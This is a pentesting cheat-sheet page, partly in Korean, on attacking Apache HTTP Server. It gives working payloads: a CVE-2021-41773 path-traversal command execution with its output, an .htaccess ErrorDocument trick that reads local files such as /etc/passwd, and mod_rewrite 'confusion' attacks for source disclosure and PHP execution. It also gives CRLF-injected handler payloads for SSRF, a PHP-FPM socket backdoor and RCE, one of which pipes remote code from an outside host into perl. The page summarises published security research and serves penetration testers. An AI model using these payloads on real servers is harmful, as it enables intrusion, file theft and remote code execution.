278 lines
15 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache
{{#include ../../banners/hacktricks-training.md}}
## Executable PHP extensions
Apache 서버에서 어떤 확장(extensions)이 실행되고 있는지 확인합니다. 검색하려면 다음을 실행하세요:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
또한, 이 구성을 찾을 수 있는 몇몇 위치는 다음과 같습니다:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
디렉터리의 .htaccess를 제어할 수 있고 해당 경로에 대해 AllowOverride가 FileInfo를 포함하면, ErrorDocument 안에서 ap_expr의 file() 함수를 사용해 404 응답을 임의의 로컬 파일 읽기로 바꿀 수 있습니다.
- 요구 사항:
- Apache 2.4에서 expression parser (ap_expr)가 활성화되어 있어야 합니다(2.4의 기본값).
- vhost/dir는 .htaccess가 ErrorDocument를 설정할 수 있도록 허용해야 합니다 (AllowOverride FileInfo).
- Apache worker 사용자가 대상 파일을 읽을 수 있는 권한을 가져야 합니다.
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
해당 디렉터리 아래의 존재하지 않는 경로를 요청하면 트리거됩니다. 예를 들어 userdir-style hosting을 악용할 때:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
노트 및 팁:
- 절대 경로만 작동합니다. 콘텐츠는 404 핸들러의 응답 본문으로 반환됩니다.
- 실제 읽기 권한은 Apache 사용자(일반적으로 www-data/apache)의 권한입니다. 기본 설정에서는 /root/* 또는 /etc/shadow를 읽을 수 없습니다.
- 설령 .htaccess가 root 소유여도, 상위 디렉터리가 테넌트 소유이고 이름 변경을 허용하면 원래 .htaccess의 이름을 바꾸고 SFTP/FTP로 자신의 대체 파일을 업로드할 수 있습니다:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- 이를 사용해 DocumentRoot 또는 vhost 구성 경로 아래의 애플리케이션 소스에서 비밀(DB creds, API keys 등)을 수집할 수 있습니다.
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
### Filename Confusion
#### Truncation
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- **Path Truncation**
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **오도하는 RewriteFlag 할당**
다음 rewrite rule에서는 URL이 .php로 끝나는 한 해당 URL은 php로 취급되어 실행됩니다. 따라서 경로에 다른 유형의 파일(예: 이미지)을 로드하면서 `?` 문자 뒤에 .php로 끝나는 URL을 전송해 그 파일 안에 악성 php 코드를 포함시킬 수 있습니다:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **ACL Bypass**
다음과 같은 설정 하에서 액세스가 거부되어야 함에도 불구하고 사용자가 접근해서는 안 되는 파일에 접근할 수 있다:
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
이는 기본적으로 PHP-FPM이 `.php`로 끝나는 URL(예: `http://server/admin.php%3Fooo.php`)을 수신하고, PHP-FPM이 문자 `?` 이후의 모든 것을 제거하기 때문에, 앞의 URL은 이전 규칙이 이를 금지했더라도 `/admin.php`를 로드할 수 있게 된다.
### DocumentRoot 혼동
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Apache에 대한 흥미로운 사실은 앞서의 rewrite가 documentRoot와 root 둘 다에서 파일에 접근하려고 시도한다는 것입니다. 따라서 `https://server/abouth.html`에 대한 요청은 파일 시스템에서 `/var/www/html/about.html``/about.html`을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다.
#### **서버 측 소스 코드 노출**
- **CGI 소스 코드 노출**
끝에 %3F를 추가하기만 해도 cgi 모듈의 소스 코드를 leak할 수 있습니다:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
- **PHP Source Code 공개**
서버에 서로 다른 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이는 파일 시스템을 횡단하여 php 코드를 leak하는 데 악용될 수 있습니다:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Local Gadgets Manipulation**
이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템 접근이 Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)에서와 같이 거부된다는 점입니다:
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
하지만 [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 운영체제는 기본적으로 `/usr/share`를 허용합니다:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
따라서 이러한 배포판에서는 **`/usr/share` 내부에 위치한 파일을 악용할 수 있습니다.**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server**와 **websocketd**는 **/usr/share/doc/websocketd/examples/php/**에 있는 **dump-env.php** 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 leak할 수 있습니다.
- **Nginx** 또는 **Jetty**를 사용하는 서버는 기본 웹 루트가 **/usr/share** 아래에 배치되어 있어 민감한 웹 애플리케이션 정보를 노출할 수 있습니다(예: **web.xml**):
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Local Gadget to XSS**
- **LibreOffice가 설치된 Ubuntu Desktop**에서는 도움말 파일의 언어 전환 기능을 악용하여 **Cross-Site Scripting (XSS)**으로 이어질 수 있습니다. **/usr/share/libreoffice/help/help.html**의 URL을 조작하면 **unsafe RewriteRule**을 통해 악성 페이지나 오래된 버전으로 리다이렉트될 수 있습니다.
**Local Gadget to LFI**
- PHP 또는 **JpGraph**, **jQuery-jFeed** 같은 일부 프론트엔드 패키지가 설치된 경우, 해당 파일들을 이용해 **/etc/passwd** 같은 민감한 파일을 읽을 수 있습니다:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Local Gadget to SSRF**
- **MagpieRSS**의 **magpie_debug.php** (경로: **/usr/share/php/magpierss/scripts/magpie_debug.php**)를 이용하면 쉽게 SSRF 취약점을 만들 수 있으며, 이를 통해 추가적인 익스플로잇으로 이어질 수 있습니다.
**Local Gadget to RCE**
- Remote Code Execution (RCE) 기회는 광범위하며, 오래된 **PHPUnit**이나 **phpLiteAdmin**와 같은 취약한 설치를 통해 임의 코드를 실행할 수 있습니다. 이는 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다.
#### **Jailbreak from Local Gadgets**
허용된 폴더에서 설치된 소프트웨어가 생성한 심볼릭 링크를 따라가면 jailbreak하는 것도 가능합니다. 예시:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
또한, 심볼릭 링크를 악용하여 Redmine에서 **RCE**를 얻는 것이 가능했습니다.
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
이 공격은 `AddHandler``AddType` 디렉티브 사이의 기능 겹침을 악용합니다. 두 디렉티브 모두 **PHP 처리 활성화**에 사용될 수 있습니다. 원래 이 디렉티브들은 서버 내부 구조의 서로 다른 필드(`r->handler``r->content_type`)에 영향을 주었습니다. 하지만 레거시 코드로 인해 특정 조건에서 Apache는 이 디렉티브들을 상호 교환적으로 처리하며, `r->content_type`가 설정되고 `r->handler`가 설정되지 않은 경우 `r->content_type``r->handler`로 변환합니다.
또한 Apache HTTP Server(`server/config.c#L420`)에서는 `ap_run_handler()`를 실행하기 전에 `r->handler`가 비어 있으면 서버가 **r->content_type을 handler로 사용**하므로 `AddType``AddHandler`가 사실상 동일한 효과를 갖게 됩니다.
#### **Overwrite Handler to Disclose PHP Source Code**
[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)에서는 클라이언트가 잘못된 **Content-Length**를 전송할 경우 Apache가 실수로 **PHP 소스 코드를 반환**할 수 있는 취약점이 발표되었습니다. 이는 ModSecurity와 Apache Portable Runtime(APR)의 오류 처리 문제로 인해 이중 응답이 발생하면서 `r->content_type``text/html`로 덮어써졌기 때문입니다.\
ModSecurity가 리턴 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 이를 해석하지 않습니다.
#### **Overwrite Handler to XXXX**
TODO: Orange hasn't disclose this vulnerability yet
### **Invoke Arbitrary Handlers**
공격자가 서버 응답의 **Content-Type** 헤더를 제어할 수 있다면 임의의 모듈 핸들러를 **invoke**할 수 있습니다. 다만 공격자가 이를 제어할 시점에는 요청의 대부분 처리가 이미 수행된 상태일 것입니다. 그러나 **Location** 헤더를 악용해 요청 처리를 재시작하는 것이 가능한데, 반환된 `Status`가 200이고 `Location` 헤더가 `/`로 시작하면 응답은 서버 측 리다이렉션으로 처리되어 재처리됩니다.
RFC 3875(CGI에 대한 명세)에 따르면 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)는 Local Redirect Response 동작을 정의합니다:
> The CGI script can return a URI path and query-string (local-pathquery) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
따라서 이 공격을 수행하려면 다음 중 하나의 취약점이 필요합니다:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Arbitrary Handler to Information Disclosure**
예를 들어 `/server-status`는 로컬에서만 접근 가능해야 합니다:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
`Content-Type``server-status`로 설정하고 Location 헤더를 `/`로 시작하게 하면 접근할 수 있습니다.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **임의 핸들러에서 Full SSRF로**
`mod_proxy`를 사용해 어떤 URL의 어떤 프로토콜에도 접근하도록 리다이렉트:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
하지만, `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 접근하는 것이 방해됩니다.
#### **Arbitrary Handler to Access Local Unix Domain Socket**
PHP-FPM의 local Unix Domain Socket에 접근하여 `/tmp/`에 있는 PHP backdoor를 실행합니다:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Arbitrary Handler to RCE**
공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR (`Pearcmd.php`)가 포함되어 있으며, 이는 명령줄 PHP 패키지 관리 도구로서 RCE를 얻기 위해 악용될 수 있습니다:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
이 기법의 세부 내용은 작성자 [Phith0n](https://x.com/phithon_xg)이 쓴 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 확인하세요.
## 참고자료
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}